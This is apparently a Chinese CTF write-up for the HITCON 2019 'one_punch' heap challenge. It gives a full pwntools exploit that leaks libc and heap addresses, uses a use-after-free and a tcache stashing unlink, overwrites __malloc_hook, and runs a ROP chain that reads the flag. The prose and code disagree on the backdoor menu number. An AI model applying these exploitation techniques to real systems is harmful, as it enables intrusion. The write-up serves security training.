程序分析:
保护全开,然后可以用图中的这些函数,用不了execve
然后程序大体是一个菜单类型的堆
值得一提的是选项输入55056后进入后门函数
要满足初始0x250堆里+0x20处的值大于6
这里面用的是malloc申请堆,而在外面用的是calloc
(区别在于malloc会从tcache中取内存,calloc则不会)
漏洞点:
存在uaf
解题思路:
用tcache tashing unlink修改初始0x250堆里+0x20处的值大于6,进入后门函数,在tcache修改fd,分配堆块到malloc_hook,填入gadget(add esp,0x48)
执行我们输入的压在栈上的orw语句读取flag。
解题步骤:
0x01 tcache tashing unlink 绕过后门检测:
这部分利用方法和新春红包题一样,然后
写入的值main_arena的值要偏移一下,只剩0x7f>6
for i in range(7):
add(0,'a'*0x400)
free(0)
add(0,'a'*0x400)
for i in range(6):
add(1,'a'*0xf0)
free(1)
show(1)
ru('hero name: ')
heap_base=uu64(rc(6))-0x26e0
info('heap_base',heap_base)
free(0)
show(0)
libc_base=uu64(ru('\x7f')[-6:])-96-0x10-libc.sym['__malloc_hook']
info('libc_base',libc_base)
#-------------------------------
add(0,'a'*0x400)
add(1,'a'*0x400)
free(0)
add(0,'a'*0x300)
add(1,'a'*0x300)#small_bin1
add(1,'a'*0x400)
add(2,'a'*0x110)
free(1)
add(2,'a'*0x300)
add(2,'a'*0x300)#small_bin2
#------------------------------
payload=flat('a'*0x300,0,0x101,heap_base+0x21d0,heap_base+0x20-5)
edit(1,payload)
#debug()
#----------------------------
add(1, 'flag'+'\x00'*0x100)
for i in range(2):
add(0,'a'*0x217)
free(0)
add(2,'a'*0xf0)#tache trash unlink
值得一提的是,我们改的值0x7f对应的是tache_bin中0x220的127,所以要在触发tashing unlink前提前布置好两个0x220的bin链,为我们后续利用铺垫
0x02 用后门功能读取flag:
用tache的uaf修改fd,往malloc_hook处写入add rsp,48;
这样如果我们add(1,orw)的话,malloc_hook会执行add rsp,48;
跳转到栈上然后执行我们的orw语句读取flag
(ps:有些syscall能用,有些syscall不能用,不知为啥)
def backdoor(content):
sla('> ',str(50056))
se(content)
malloc_hook=libc.sym['__malloc_hook']+libc_base
edit(0,p64(malloc_hook))
backdoor(p64(0))
add_rsp_0x48=0x8cfd6+libc_base
backdoor(p64(add_rsp_0x48))
#backdoor()
#------------------------------------------------------
pop_rdi=0x26542+libc_base
pop_rsi=0x26f9e+libc_base
pop_rdx=0x12bda6+libc_base
pop_rax=0x47cf8+libc_base
leave_ret=0x58373+libc_base
syscall=0x10D0B5+libc_base
#0x10CF7F,0x10D022,0x10D0B5
#debug()
flag_addr=heap_base+0x3840
write2addr=heap_base+0x3840+0x10
orw=flat(pop_rax,2,pop_rdi,flag_addr,pop_rsi,0,syscall)
orw+=flat(pop_rax,0,pop_rdi,3,pop_rsi,write2addr,pop_rdx,0x50,syscall)
orw+=flat(pop_rax,1,pop_rdi,1,pop_rsi,write2addr,pop_rdx,0x50,syscall)
#debug()
add(1, orw)
gdb调试出add rsp,48?
可以把脚本里的
r = process(local_file)
改为r = gdb.debug(local_file)
这样的话是直接用gdb来启动这个程序,我们把malloc_hook的值改为一个非法地址
我这里改为0x1
然后程序执行我们的脚本
到malloc_hook会坏掉,我们直接看那时候的栈就行
完整exp:
from pwn import *
local_file = './hitcon_ctf_2019_one_punch'
local_libc = './libc-2.29.so'
remote_libc = './libc-2.29.so'
select = 0
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
elif select == 1:
r = remote('node4.buuoj.cn',25904 )
libc = ELF(remote_libc)
else:
r = gdb.debug(local_file)
libc = ELF(local_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
#------------------------
def add(idx,name):
sla('> ','1')
sla('idx: ',str(idx))
sla('hero name: ',str(name))
def edit(idx,name):
sla('> ','2')
sla('idx: ',str(idx))
sla('hero name: ',str(name))
def show(idx):
sla('> ','3')
sla('idx: ',str(idx))
def free(idx):
sla('> ','4')
sla('idx: ',str(idx))
#---------------------------
for i in range(7):
add(0,'a'*0x400)
free(0)
add(0,'a'*0x400)
for i in range(6):
add(1,'a'*0xf0)
free(1)
show(1)
ru('hero name: ')
heap_base=uu64(rc(6))-0x26e0
info('heap_base',heap_base)
free(0)
show(0)
libc_base=uu64(ru('\x7f')[-6:])-96-0x10-libc.sym['__malloc_hook']
info('libc_base',libc_base)
#-------------------------------
add(0,'a'*0x400)
add(1,'a'*0x400)
free(0)
add(0,'a'*0x300)
add(1,'a'*0x300)#small_bin1
add(1,'a'*0x400)
add(2,'a'*0x110)
free(1)
add(2,'a'*0x300)
add(2,'a'*0x300)#small_bin2
#------------------------------
payload=flat('a'*0x300,0,0x101,heap_base+0x21d0,heap_base+0x20-5)
edit(1,payload)
#debug()
#----------------------------
add(1, 'flag'+'\x00'*0x100)
for i in range(2):
add(0,'a'*0x217)
free(0)
add(2,'a'*0xf0)#tache trash unlink
def backdoor(content):
sla('> ',str(50056))
se(content)
malloc_hook=libc.sym['__malloc_hook']+libc_base
edit(0,p64(malloc_hook))
backdoor(p64(0))
add_rsp_0x48=0x8cfd6+libc_base
backdoor(p64(add_rsp_0x48))
#backdoor()
#------------------------------------------------------
pop_rdi=0x26542+libc_base
pop_rsi=0x26f9e+libc_base
pop_rdx=0x12bda6+libc_base
pop_rax=0x47cf8+libc_base
leave_ret=0x58373+libc_base
syscall=0x10D0B5+libc_base
#0x10CF7F,0x10D022,0x10D0B5
#debug()
flag_addr=heap_base+0x3840
write2addr=heap_base+0x3840+0x10
orw=flat(pop_rax,2,pop_rdi,flag_addr,pop_rsi,0,syscall)
orw+=flat(pop_rax,0,pop_rdi,3,pop_rsi,write2addr,pop_rdx,0x50,syscall)
orw+=flat(pop_rax,1,pop_rdi,1,pop_rsi,write2addr,pop_rdx,0x50,syscall)
#debug()
add(1, orw)
r.interactive()